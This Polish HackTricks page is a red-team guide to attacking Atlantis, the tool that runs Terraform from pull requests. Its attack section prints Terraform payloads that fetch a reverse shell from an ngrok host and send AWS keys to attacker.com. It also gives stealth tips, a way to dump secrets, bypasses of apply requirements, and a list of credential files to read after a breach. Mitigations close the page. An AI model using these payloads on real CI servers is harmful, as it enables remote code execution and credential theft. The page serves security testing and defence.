Atlantis Security

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

• Sprawdź subscription plans!
• Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
• Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.

Podstawowe informacje

Atlantis zasadniczo pomaga uruchamiać terraform z Pull Requests z twojego serwera git.

Lokalna laboratoria

1. Przejdź do strony wydań atlantis w https://github.com/runatlantis/atlantis/releases i pobierz wersję, która ci odpowiada.
2. Utwórz osobisty token (z dostępem do repozytoriów) swojego użytkownika github.
3. Wykonaj ./atlantis testdrive, a utworzy to demo repo, którego możesz użyć do komunikacji z atlantis.
4. Możesz uzyskać dostęp do strony internetowej pod adresem 127.0.0.1:4141.

Dostęp do Atlantis

Poświadczenia serwera Git

Atlantis obsługuje kilka hostów git, takich jak Github, Gitlab, Bitbucket i Azure DevOps.
Jednak aby uzyskać dostęp do repozytoriów na tych platformach i wykonywać działania, musi mieć przyznany privileged access (przynajmniej uprawnienia do zapisu).
Dokumentacja zachęca do utworzenia użytkownika na tych platformach specjalnie dla Atlantis, ale niektórzy mogą używać osobistych kont.

Warning

W każdym przypadku, z perspektywy atakującego, konto Atlantis będzie bardzo interesujące do skompromitowania.

Webhooki

Atlantis opcjonalnie używa sekretów webhooków do weryfikacji, że webhooki, które otrzymuje z twojego hosta Git, są legitymne.

Jednym ze sposobów potwierdzenia tego byłoby zezwolenie na przyjmowanie żądań tylko z adresów IP twojego hosta Git, ale łatwiejszym sposobem jest użycie sekretu webhooka.

Zauważ, że chyba że używasz prywatnego serwera github lub bitbucket, będziesz musiał wystawić punkty końcowe webhooków do Internetu.

Warning

Atlantis będzie wystawiał webhooki, aby serwer git mógł wysyłać mu informacje. Z perspektywy atakującego interesujące byłoby wiedzieć, czy możesz wysyłać mu wiadomości.

Poświadczenia dostawcy

Z dokumentacji:

Atlantis uruchamia Terraform, po prostu wykonując polecenia terraform plan i apply na serwerze, na którym Atlantis jest hostowany. Tak jak w przypadku uruchamiania Terraform lokalnie, Atlantis potrzebuje poświadczeń dla twojego konkretnego dostawcy.

To od ciebie zależy, jak przekazujesz poświadczenia dla swojego konkretnego dostawcy do Atlantis:

• Atlantis Helm Chart i AWS Fargate Module mają swoje własne mechanizmy dla poświadczeń dostawcy. Przeczytaj ich dokumentację.
• Jeśli uruchamiasz Atlantis w chmurze, wiele chmur ma sposoby na przyznanie dostępu do API chmury aplikacjom działającym na nich, np.:
• AWS EC2 Roles (Szukaj “EC2 Role”)
• GCE Instance Service Accounts
• Wiele użytkowników ustawia zmienne środowiskowe, np. AWS_ACCESS_KEY, gdzie działa Atlantis.
• Inni tworzą niezbędne pliki konfiguracyjne, np. ~/.aws/credentials, gdzie działa Atlantis.
• Użyj HashiCorp Vault Provider, aby uzyskać poświadczenia dostawcy.

Warning

Kontener, w którym Atlantis jest uruchamiany, prawdopodobnie zawiera poświadczenia z uprawnieniami do dostawców (AWS, GCP, Github…), którymi Atlantis zarządza za pomocą Terraform.

Strona internetowa

Domyślnie Atlantis uruchomi stronę internetową na porcie 4141 w localhost. Ta strona pozwala tylko na włączenie/wyłączenie atlantis apply oraz sprawdzenie statusu planu repozytoriów i ich odblokowanie (nie pozwala na modyfikację rzeczy, więc nie jest zbyt użyteczna).

Prawdopodobnie nie znajdziesz jej wystawionej do internetu, ale wygląda na to, że domyślnie nie są wymagane żadne poświadczenia do jej uzyskania (a jeśli są, to atlantis:atlantis są domyślnymi).

Konfiguracja serwera

Konfiguracja dla atlantis server może być określona za pomocą flag wiersza poleceń, zmiennych środowiskowych, pliku konfiguracyjnego lub mieszanki tych trzech.

• Możesz znaleźć tutaj listę flag obsługiwanych przez serwer Atlantis.
• Możesz znaleźć tutaj, jak przekształcić opcję konfiguracyjną w zmienną środowiskową.

Wartości są wybierane w tej kolejności:

1. Flagi
2. Zmienne środowiskowe
3. Plik konfiguracyjny

Warning

Zauważ, że w konfiguracji możesz znaleźć interesujące wartości, takie jak tokeny i hasła.

Konfiguracja repozytoriów

Niektóre konfiguracje wpływają na sposób zarządzania repozytoriami. Jednak możliwe jest, że każde repozytorium wymaga różnych ustawień, więc istnieją sposoby na określenie każdego repozytorium. Oto kolejność priorytetów:

1. Repo /atlantis.yml plik. Ten plik może być użyty do określenia, jak atlantis powinien traktować repozytorium. Jednak domyślnie niektóre klucze nie mogą być tutaj określone bez flag pozwalających na to.
2. Prawdopodobnie wymagane do zezwolenia przez flagi, takie jak allowed_overrides lub allow_custom_workflows.
3. Konfiguracja po stronie serwera: Możesz przekazać to za pomocą flagi --repo-config, a to jest yaml konfiguracyjny nowych ustawień dla każdego repozytorium (obsługiwane regexy).
4. Domyślne wartości.

Ochrona PR

Atlantis pozwala wskazać, czy chcesz, aby PR był zatwierdzony przez kogoś innego (nawet jeśli nie jest to ustawione w ochronie gałęzi) i/lub był możliwy do scalania (ochrony gałęzi spełnione) przed uruchomieniem apply. Z punktu widzenia bezpieczeństwa, zaleca się ustawienie obu opcji.

W przypadku, gdy allowed_overrides jest True, te ustawienia mogą być nadpisywane w każdym projekcie przez plik /atlantis.yml.

Skrypty

Konfiguracja repozytoriów może określać skrypty do uruchomienia przed (pre workflow hooks) i po (post workflow hooks) wykonaniu workflow.

Nie ma żadnej opcji, aby określić te skrypty w repo /atlantis.yml.

Workflow

W konfiguracji repozytoriów (konfiguracja po stronie serwera) możesz określić nowy domyślny workflow lub utworzyć nowe niestandardowe workflow. Możesz również określić, które repozytoria mogą uzyskać dostęp do nowych wygenerowanych.
Następnie możesz pozwolić plikowi atlantis.yaml każdego repozytorium na określenie workflow do użycia.

Caution

Jeśli flaga konfiguracji po stronie serwera allow_custom_workflows jest ustawiona na True, workflow mogą być określane w pliku atlantis.yaml każdego repozytorium. Potencjalnie również potrzebne jest, aby allowed_overrides określało również workflow, aby nadpisać workflow, który będzie używany.
To zasadniczo da RCE w serwerze Atlantis każdemu użytkownikowi, który może uzyskać dostęp do tego repozytorium.

# atlantis.yaml

version: 3
projects:

- dir: .
  workflow: custom1
  workflows:
  custom1:
  plan:
  steps: - init - run: my custom plan command
  apply:
  steps: - run: my custom apply command

Sprawdzanie polityki Conftest

Atlantis obsługuje uruchamianie polityk conftest po stronie serwera przeciwko wyjściu planu. Typowe przypadki użycia dla tego kroku obejmują:

• Odrzucenie użycia listy modułów
• Asercje atrybutów zasobu w czasie tworzenia
• Wykrywanie niezamierzonych usunięć zasobów
• Zapobieganie ryzyku bezpieczeństwa (np. wystawianie bezpiecznych portów publicznie)

Możesz sprawdzić, jak to skonfigurować w dokumentacji.

Komendy Atlantis

W dokumentacji znajdziesz opcje, które możesz użyć do uruchomienia Atlantis:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

Ataki

Warning

Jeśli podczas eksploatacji napotkasz ten błąd: Error: Error acquiring the state lock

Możesz to naprawić, uruchamiając:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis plan RCE - Modyfikacja konfiguracji w nowym PR

Jeśli masz dostęp do zapisu w repozytorium, będziesz mógł stworzyć nową gałąź i wygenerować PR. Jeśli możesz wykonać atlantis plan (lub może jest to wykonywane automatycznie) będziesz mógł uzyskać RCE wewnątrz serwera Atlantis.

Możesz to zrobić, sprawiając, że Atlantis załaduje zewnętrzne źródło danych. Po prostu umieść ładunek, taki jak poniższy, w pliku main.tf:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Cichszy atak

Możesz przeprowadzić ten atak w cichszy sposób, stosując się do tych sugestii:

• Zamiast dodawać rev shell bezpośrednio do pliku terraform, możesz załadować zewnętrzny zasób, który zawiera rev shell:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Możesz znaleźć kod rev shell w https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

• W zewnętrznym zasobie użyj funkcji ref, aby ukryć kod rev shell terraform w gałęzi wewnątrz repo, coś w stylu: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b
• Zamiast tworzyć PR do master, aby uruchomić Atlantis, stwórz 2 gałęzie (test1 i test2) i stwórz PR z jednej do drugiej. Gdy zakończysz atak, po prostu usuń PR i gałęzie.

Atlantis plan Secrets Dump

Możesz zrzucić sekrety używane przez terraform, uruchamiając atlantis plan (terraform plan), umieszczając coś takiego w pliku terraform:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis apply RCE - Modyfikacja konfiguracji w nowym PR

Jeśli masz dostęp do zapisu w repozytorium, będziesz mógł stworzyć nową gałąź i wygenerować PR. Jeśli możesz wykonać atlantis apply, będziesz mógł uzyskać RCE wewnątrz serwera Atlantis.

Jednak zazwyczaj będziesz musiał obejść pewne zabezpieczenia:

• Mergeable: Jeśli to zabezpieczenie jest ustawione w Atlantis, możesz uruchomić atlantis apply tylko wtedy, gdy PR jest możliwy do scalania (co oznacza, że zabezpieczenie gałęzi musi zostać ominięte).
• Sprawdź potencjalne obejścia zabezpieczeń gałęzi
• Approved: Jeśli to zabezpieczenie jest ustawione w Atlantis, inny użytkownik musi zatwierdzić PR zanim będziesz mógł uruchomić atlantis apply
• Domyślnie możesz nadużyć tokena Gitbota, aby obejść to zabezpieczenie

Uruchamianie terraform apply na złośliwym pliku Terraform z local-exec.
Musisz tylko upewnić się, że jakiś ładunek, taki jak poniższe, kończy się w pliku main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Postępuj zgodnie z zaleceniami z poprzedniej techniki, aby przeprowadzić ten atak w bardziej dyskretny sposób.

Wstrzykiwanie parametrów Terraform

Podczas uruchamiania atlantis plan lub atlantis apply, terraform jest uruchamiany w tle, możesz przekazać polecenia do terraform z atlantis, komentując coś takiego:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

Co możesz przekazać, to zmienne środowiskowe, które mogą być pomocne w obejściu niektórych zabezpieczeń. Sprawdź zmienne środowiskowe terraform w https://www.terraform.io/cli/config/environment-variables

Niestandardowy Workflow

Uruchamianie złośliwych niestandardowych poleceń budowania określonych w pliku atlantis.yaml. Atlantis używa pliku atlantis.yaml z gałęzi pull request, a nie z master.
Ta możliwość została wspomniana w poprzedniej sekcji:

Caution

Jeśli flaga server side config allow_custom_workflows jest ustawiona na True, workflow mogą być określone w pliku atlantis.yaml każdego repo. Potencjalnie konieczne jest również, aby allowed_overrides określało również workflow, aby nadpisać workflow, który ma być użyty.

To zasadniczo da RCE na serwerze Atlantis dla każdego użytkownika, który ma dostęp do tego repo.

# atlantis.yaml
version: 3
projects:
  - dir: .
    workflow: custom1
workflows:
  custom1:
    plan:
      steps:
        - init
        - run: my custom plan command
    apply:
      steps:
        - run: my custom apply command

Obejście zabezpieczeń planu/aplikacji

Jeśli flaga server side config allowed_overrides ma skonfigurowane apply_requirements, możliwe jest, aby repo zmodyfikowało zabezpieczenia planu/aplikacji, aby je obejść.

repos:
- id: /.*/
apply_requirements: []

PR Hijacking

Jeśli ktoś wyśle atlantis plan/apply komentarze do twoich ważnych pull requestów, spowoduje to uruchomienie terraform, gdy nie chcesz, aby to się stało.

Co więcej, jeśli nie masz skonfigurowanej ochrony gałęzi do ponownej oceny każdego PR, gdy nowe zatwierdzenie jest do niego przesyłane, ktoś mógłby napisać złośliwe konfiguracje (sprawdź poprzednie scenariusze) w konfiguracji terraform, uruchomić atlantis plan/apply i uzyskać RCE.

To jest ustawienie w ochronach gałęzi Github:

Webhook Secret

Jeśli uda ci się ukraść sekret webhooka lub jeśli żaden sekret webhooka nie jest używany, możesz wywołać webhook Atlantis i wywołać polecenia atlantis bezpośrednio.

Bitbucket

Bitbucket Cloud nie obsługuje sekretów webhooka. Może to pozwolić atakującym na fałszowanie żądań z Bitbucket. Upewnij się, że zezwalasz tylko na adresy IP Bitbucket.

• Oznacza to, że atakujący mógłby wysyłać fałszywe żądania do Atlantis, które wyglądają, jakby pochodziły z Bitbucket.
• Jeśli określasz --repo-allowlist, to mogliby fałszować tylko żądania dotyczące tych repozytoriów, więc największe szkody, jakie mogliby wyrządzić, to plan/apply na twoich własnych repozytoriach.
• Aby temu zapobiec, dodaj do listy dozwolonych adresy IP Bitbucket (zobacz adresy IPv4 wychodzące).

Post-Exploitation

Jeśli udało ci się uzyskać dostęp do serwera lub przynajmniej masz LFI, są pewne interesujące rzeczy, które powinieneś spróbować przeczytać:

• /home/atlantis/.git-credentials Zawiera dane uwierzytelniające do vcs
• /atlantis-data/atlantis.db Zawiera dane uwierzytelniające do vcs z dodatkowymi informacjami
• /atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Plik stanu terraform
• Przykład: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
• /proc/1/environ Zmienne środowiskowe
• /proc/[2-20]/cmdline Linia poleceń atlantis server (może zawierać dane wrażliwe)

Mitigations

Don’t Use On Public Repos

Ponieważ każdy może komentować publiczne pull requesty, nawet przy wszystkich dostępnych zabezpieczeniach, nadal jest niebezpiecznie uruchamiać Atlantis na publicznych repozytoriach bez odpowiedniej konfiguracji ustawień zabezpieczeń.

Don’t Use --allow-fork-prs

Jeśli działasz na publicznym repozytorium (co nie jest zalecane, patrz powyżej), nie powinieneś ustawiać --allow-fork-prs (domyślnie false), ponieważ każdy może otworzyć pull request z własnego forka do twojego repozytorium.

--repo-allowlist

Atlantis wymaga, abyś określił listę dozwolonych repozytoriów, z których zaakceptuje webhooki za pomocą flagi --repo-allowlist. Na przykład:

• Konkretne repozytoria: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests
• Cała twoja organizacja: --repo-allowlist=github.com/runatlantis/*
• Każde repozytorium w twojej instalacji GitHub Enterprise: --repo-allowlist=github.yourcompany.com/*
• Wszystkie repozytoria: --repo-allowlist=*. Przydatne, gdy jesteś w chronionej sieci, ale niebezpieczne bez ustawienia sekretu webhooka.

Ta flaga zapewnia, że twoja instalacja Atlantis nie jest używana z repozytoriami, którymi nie zarządzasz. Zobacz atlantis server --help po więcej szczegółów.

Protect Terraform Planning

Jeśli atakujący przesyłają pull requesty z złośliwym kodem Terraform w twoim modelu zagrożeń, musisz być świadomy, że zatwierdzenia terraform apply nie są wystarczające. Możliwe jest uruchomienie złośliwego kodu w terraform plan za pomocą external data source lub przez określenie złośliwego dostawcy. Ten kod mógłby następnie wykradać twoje dane uwierzytelniające.

Aby temu zapobiec, możesz:

1. Wbudować dostawców w obraz Atlantis lub hostować i zablokować egress w produkcji.
2. Wdrożyć wewnętrznie protokół rejestru dostawców i zablokować publiczny egress, w ten sposób kontrolujesz, kto ma dostęp do zapisu w rejestrze.
3. Zmodyfikować swój konfigurację repozytoriów po stronie serwera’s krok plan, aby walidować użycie niedozwolonych dostawców lub źródeł danych lub PR-ów od niedozwolonych użytkowników. Możesz również dodać dodatkową walidację w tym momencie, np. wymagając “thumbs-up” na PR przed pozwoleniem na kontynuację plan. Conftest może być tutaj przydatny.

Webhook Secrets

Atlantis powinien być uruchamiany z ustawionymi sekretami webhooka za pomocą zmiennych środowiskowych $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET. Nawet z ustawioną flagą --repo-allowlist, bez sekretu webhooka, atakujący mogą wysyłać żądania do Atlantis, podszywając się pod repozytorium, które jest na liście dozwolonych. Sekrety webhooka zapewniają, że żądania webhooka faktycznie pochodzą od twojego dostawcy VCS (GitHub lub GitLab).

Jeśli używasz Azure DevOps, zamiast sekretów webhooka dodaj podstawową nazwę użytkownika i hasło.

Azure DevOps Basic Authentication

Azure DevOps obsługuje wysyłanie nagłówka podstawowej autoryzacji we wszystkich zdarzeniach webhooka. Wymaga to użycia adresu URL HTTPS dla lokalizacji webhooka.

SSL/HTTPS

Jeśli używasz sekretów webhooka, ale twój ruch jest przez HTTP, to sekrety webhooka mogą zostać skradzione. Włącz SSL/HTTPS, używając flag --ssl-cert-file i --ssl-key-file.

Enable Authentication on Atlantis Web Server

Zdecydowanie zaleca się włączenie autoryzacji w usłudze internetowej. Włącz BasicAuth, używając --web-basic-auth=true i skonfiguruj nazwę użytkownika oraz hasło, używając flag --web-username=yourUsername i --web-password=yourPassword.

Możesz również przekazać je jako zmienne środowiskowe ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername i ATLANTIS_WEB_PASSWORD=yourPassword.

References

• https://www.runatlantis.io/docs
• https://www.runatlantis.io/docs/provider-credentials.html

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

• Sprawdź subscription plans!
• Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
• Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.